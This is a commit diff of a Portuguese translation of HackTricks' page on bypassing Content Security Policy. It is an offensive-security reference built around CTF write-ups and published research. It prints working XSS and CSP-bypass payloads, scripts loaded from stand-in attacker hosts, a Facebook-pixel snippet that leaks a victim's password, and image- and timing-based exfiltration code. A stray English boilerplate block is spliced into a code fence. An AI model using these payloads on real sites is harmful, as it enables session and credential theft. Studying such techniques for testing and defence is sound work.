mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['pentesting-web/content-security-policy-csp-bypass/README.md
This commit is contained in:
Translator
parent
d6a550a4a8
commit
6651b28b2b
1 changed files with 92 additions and 73 deletions
|
|
@ -7,7 +7,7 @@
|
|||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
@ -31,7 +31,7 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
|
||||
## O que é CSP
|
||||
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
|
||||
A implementação do CSP é realizada por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
|
||||
|
||||
|
|
@ -79,7 +79,7 @@ object-src 'none';
|
|||
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
|
||||
* **base-uri**: Especifica URLs permitidos para carregar usando elementos `<base>`.
|
||||
* **form-action**: Lista os pontos finais válidos para envios de formulários.
|
||||
* **plugin-types**: Restringe os tipos de mime que uma página pode invocar.
|
||||
* **plugin-types**: Restringe os tipos MIME que uma página pode invocar.
|
||||
* **upgrade-insecure-requests**: Instrui os navegadores a reescrever URLs HTTP para HTTPS.
|
||||
* **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um `<iframe>`.
|
||||
* **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
|
||||
|
|
@ -97,7 +97,7 @@ object-src 'none';
|
|||
* `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
|
||||
* `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por motivos de segurança.
|
||||
* `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
|
||||
* Se a execução de JS estiver limitada, é possível obter um nonce usado na página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
|
||||
* Se você tiver a execução de JS limitada, é possível obter um nonce usado na página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -114,7 +114,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Lista branca de scripts com um hash sha256 específico.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer origem se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'host'`: Especifica um host específico, como `example.com`.
|
||||
* `https:`: Restringe URLs para aquelas que usam HTTPS.
|
||||
* `blob:`: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).
|
||||
|
|
@ -130,7 +130,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Payload de trabalho: `"/><script>alert(1);</script>`
|
||||
Carga de trabalho em funcionamento: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' via Iframes
|
||||
|
||||
|
|
@ -154,7 +154,7 @@ Se você de alguma forma conseguir fazer com que um **código JS permitido crie
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Carga de trabalho em funcionamento:
|
||||
Payload de trabalho:
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
|
|
@ -167,7 +167,7 @@ Carga de trabalho em funcionamento:
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Cargas de trabalho em funcionamento:
|
||||
Cargas de trabalho funcionais:
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
|
|
@ -185,11 +185,11 @@ Payload de trabalho:
|
|||
```
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **faça upload de um tipo específico de arquivo**.
|
||||
|
||||
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente, pois alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF, aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
|
||||
Além disso, mesmo que você consiga fazer upload de um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
||||
|
||||
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar fazer upload de um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Ação de formulário
|
||||
### Ação de Formulário
|
||||
|
||||
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperar que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
|
||||
|
|
@ -250,15 +250,17 @@ O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cl
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
Angular XSS a partir de um nome de classe:
|
||||
## Bypassing Content Security Policy (CSP) with Angular XSS from a class name:
|
||||
|
||||
## Bypassando a Política de Segurança de Conteúdo (CSP) com XSS do Angular a partir de um nome de classe:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Abusando do código JS do Google reCAPTCHA
|
||||
#### Explorando o código JS do Google reCAPTCHA
|
||||
|
||||
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
|
||||
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
|
@ -284,17 +286,17 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
#### Abusando do www.google.com para redirecionamento aberto
|
||||
#### Abusando de www.google.com para redirecionamento aberto
|
||||
|
||||
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
Explorando \*.google.com/script.google.com
|
||||
### Abusando de \*.google.com/script.google.com
|
||||
|
||||
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Pontos de Terceiros + JSONP
|
||||
### Pontos de Extremidade de Terceiros + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
|
|
@ -310,22 +312,22 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para burlar CSP de diferentes sites.**
|
||||
|
||||
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.
|
||||
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também serão confiáveis.
|
||||
|
||||
### Abusos de Terceiros
|
||||
|
||||
Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
||||
|
||||
| Entidade | Domínio Permitido | Capacidades |
|
||||
| ------------------ | -------------------------------------------- | ----------- |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| ------------------ | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
|
||||
|
||||
|
|
@ -337,25 +339,22 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
## Introduction
|
||||
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
|
||||
|
||||
## Bypass Techniques
|
||||
In this guide, we will explore various techniques that can be used to bypass Content Security Policy (CSP) protections.
|
||||
|
||||
### 1. Inline Script Execution
|
||||
## Table of Contents
|
||||
|
||||
One common way to bypass CSP is by executing inline scripts. By using techniques such as dynamic script injection or event handlers, an attacker can execute arbitrary code within the context of the web page, bypassing CSP restrictions.
|
||||
|
||||
### 2. Data: URL
|
||||
|
||||
Another technique involves using data: URLs to embed scripts directly into HTML attributes. This allows an attacker to execute scripts without triggering CSP violations, as the scripts are treated as data rather than external resources.
|
||||
|
||||
### 3. Unsafe Inline and Eval
|
||||
|
||||
Some CSP policies allow 'unsafe-inline' and 'unsafe-eval' directives, which can be exploited by attackers to execute inline scripts and evaluate arbitrary code, respectively. By leveraging these directives, an attacker can bypass CSP protections.
|
||||
- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
|
||||
- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
|
||||
- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
|
||||
- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
|
||||
- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
|
||||
- [Bypassing CSP with Trusted Types](bypassing-csp-trusted-types.md)
|
||||
|
||||
## Conclusion
|
||||
|
||||
While Content Security Policy is a powerful security mechanism for protecting web applications against various types of attacks, it is important for developers to be aware of potential bypass techniques. By understanding how CSP can be circumvented, developers can implement more robust security measures to safeguard their web applications against malicious actors.
|
||||
By understanding how Content Security Policy (CSP) works and the potential bypass techniques, security professionals can better assess the security posture of web applications and implement appropriate security controls to mitigate these risks.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
|
@ -363,23 +362,25 @@ Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [
|
|||
|
||||
1. Crie uma conta de desenvolvedor no Facebook aqui.
|
||||
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
||||
3. Vá para "Configurações -> Básico" e obtenha o seu "ID do Aplicativo".
|
||||
4. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
|
||||
3. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
|
||||
4. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do SDK do Facebook "fbq" através de um "customEvent" e a carga de dados.
|
||||
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
|
||||
|
||||
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
|
||||
Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Além dos redirecionamentos mencionados para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
|
||||
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
|
||||
|
||||
Por exemplo, se CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
||||
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
|
|
@ -387,7 +388,7 @@ O navegador acabará por carregar `https://example.com/scripts/angular/angular.j
|
|||
|
||||
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com CSP.
|
||||
|
||||
Assim, ele irá decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
Assim, eles irão decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
|
||||
|
||||
|
|
@ -405,8 +406,8 @@ Exemplo Online: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.co
|
|||
|
||||
Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor alcançando um XSS.**\
|
||||
Se a página vulnerável for carregada com **httpS**, use um URL httpS na tag base.
|
||||
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
|
||||
Se a página vulnerável for carregada com **httpS**, use um URL httpS na base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
|
|
@ -427,7 +428,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Uma política CSP que lista permissões de domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
Uma política CSP que lista domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Cargas de trabalho funcionais:
|
||||
```html
|
||||
|
|
@ -469,7 +470,7 @@ Com esse redirecionamento, mesmo que o caminho seja especificado completamente,
|
|||
|
||||
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
|
||||
|
||||
### Bypass CSP com marcação pendente
|
||||
### Contornar o CSP com marcação pendente
|
||||
|
||||
Leia [aqui](../dangling-markup-html-scriptless-injection/) como fazer.
|
||||
|
||||
|
|
@ -477,7 +478,7 @@ Leia [aqui](../dangling-markup-html-scriptless-injection/) como fazer.
|
|||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página web qualquer imagem de qualquer recurso.
|
||||
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.
|
||||
|
||||
Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
|
||||
```javascript
|
||||
|
|
@ -485,7 +486,7 @@ Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste ca
|
|||
```
|
||||
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Por exemplo, se a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Por exemplo, se a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **fazer upload** dela no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Com Service Workers
|
||||
|
||||
|
|
@ -517,9 +518,9 @@ Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
|||
### img-src \*; via XSS (iframe) - Ataque de tempo
|
||||
|
||||
Observe a falta da diretiva `'unsafe-inline'`\
|
||||
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar** você pode extrair as informações necessárias.
|
||||
Desta vez, você pode fazer a vítima **carregar** uma página em **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, poderá extrair as informações necessárias.
|
||||
|
||||
Desta vez uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** levará **mais tempo** devido à função de espera. Em seguida, você poderá extrair a bandeira:
|
||||
Desta vez, uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a bandeira:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
|
@ -581,13 +582,13 @@ run();
|
|||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Este ataque implicaria algum engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
|
||||
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass restringindo o CSP
|
||||
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que impedia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
|
||||
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||
|
||||
|
|
@ -598,7 +599,7 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
|||
{% endcode %}
|
||||
|
||||
No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
||||
CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
CSP pode ser tornada mais restritiva usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
|
@ -615,7 +616,7 @@ Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142
|
|||
```javascript
|
||||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||
```
|
||||
### Vazando Informações com CSP e Iframe
|
||||
### Vazamento de Informações com CSP e Iframe
|
||||
|
||||
* Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
|
||||
* Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
|
||||
|
|
@ -623,7 +624,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.
|
||||
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e ajustando o CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||
```markdown
|
||||
